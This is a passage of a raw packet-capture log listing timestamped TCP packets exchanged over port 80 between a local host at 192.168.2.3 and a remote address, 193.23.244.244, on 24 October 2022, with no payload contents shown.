Oct 24, 2022 11:00:10.969801903 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969827890 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.969875097 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969897032 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969911098 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969928980 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969947100 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969947100 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.969966888 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.969985008 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970004082 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970014095 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.970022917 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970041037 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970058918 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970062971 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.970077038 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.970077991 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970098019 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970113039 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.970118046 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970140934 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970150948 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.970160007 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970179081 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970195055 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.970197916 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970216990 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970226049 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.970236063 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970254898 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970261097 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.970273972 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970292091 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970308065 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.970309019 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970328093 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970345020 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970347881 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.970364094 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970380068 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.970381975 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970401049 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970402956 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.970419884 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970436096 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.970438004 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970457077 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970474005 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.970493078 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.970514059 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988092899 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988122940 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988141060 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988156080 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988173962 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988193989 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988212109 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988231897 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988250017 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988269091 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988287926 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988292933 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988307953 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988327980 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988346100 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988363981 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988382101 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988399982 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988401890 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988421917 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988439083 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988440037 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988459110 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988470078 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988477945 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988496065 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988502979 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988516092 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988533974 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988552094 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988569021 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988569975 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988589048 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988606930 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988609076 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988629103 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988648891 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988667011 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988667965 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988686085 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988703966 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988707066 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988723040 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988732100 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988744974 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988764048 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988774061 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988781929 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988800049 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988812923 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988818884 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988837957 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988852024 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988857985 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988877058 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988883972 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988895893 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988914013 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988930941 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988934040 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988950014 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988966942 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988970041 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.988986969 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.988987923 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.989006042 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989023924 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989027977 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.989042997 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989061117 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.989064932 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989084959 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989101887 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989115000 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.989120960 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989139080 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.989140034 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989161015 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989178896 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989192963 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.989197969 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989214897 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.989217043 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989236116 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989253044 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989269972 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.989270926 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989289999 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989303112 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.989308119 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989327908 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989336967 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.989347935 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989365101 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989372015 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.989384890 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989402056 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989418983 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989422083 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.989437103 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989444971 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.989456892 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989475012 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989480972 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.989492893 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989510059 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989527941 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.989531040 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.989562988 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.992208958 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.992233992 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.992252111 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.992266893 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.992280006 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.992296934 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.992316008 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.992332935 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.992352962 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.992372036 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.992389917 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.992407084 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.992418051 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.992427111 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.992418051 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.992476940 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.992476940 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.993171930 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.993196011 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.993213892 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.993232012 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.993251085 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.993269920 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.993288994 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.993307114 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.993324995 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.993343115 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.993360996 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.993380070 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.993396997 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.993413925 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.993417978 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.993432045 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.993455887 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.993467093 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994152069 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994173050 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994190931 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994208097 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994225979 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994232893 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994245052 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994266033 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994285107 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994287014 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994307041 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994314909 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994326115 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994344950 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994363070 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994370937 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994380951 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994399071 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994405985 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994420052 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994426012 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994438887 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994457960 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994465113 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994477987 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994497061 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994507074 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994514942 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994534016 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994551897 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994558096 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994570017 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994589090 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994589090 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994606972 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994610071 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994626045 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994642973 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994652033 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994662046 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994680882 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994699955 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994707108 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994725943 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994735956 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994744062 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994764090 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994771957 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994784117 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994802952 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994815111 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.994821072 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.994853020 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.996701956 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.996772051 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.996793032 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.996812105 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.996833086 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.996843100 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.996845961 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.996865988 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.996874094 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.996886969 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.996905088 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.996917009 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.996925116 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.996942997 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.996948957 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.996963024 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.996980906 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.996998072 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997004986 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.997068882 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.997312069 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997330904 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997375011 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.997454882 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997473955 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997492075 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997503042 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.997513056 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997530937 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997543097 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.997550964 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997570038 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997575045 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.997591019 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997608900 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997615099 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.997628927 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997648001 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997651100 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.997668982 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997687101 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997692108 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.997706890 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997725964 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997734070 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.997745037 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997762918 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997778893 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.997781992 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997802973 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997821093 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997827053 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.997840881 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997860909 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997864962 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.997879982 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997884989 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.997899055 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997916937 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997920990 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.997936964 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997955084 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997960091 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.997973919 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.997993946 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998002052 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998013973 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998033047 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998039007 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998051882 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998071909 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998086929 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998092890 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998111963 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998121977 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998131990 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998148918 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998157024 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998168945 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998187065 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998195887 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998208046 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998226881 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998245001 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998250961 CEST	49711	80	192.168.2.3	193.23.244.244
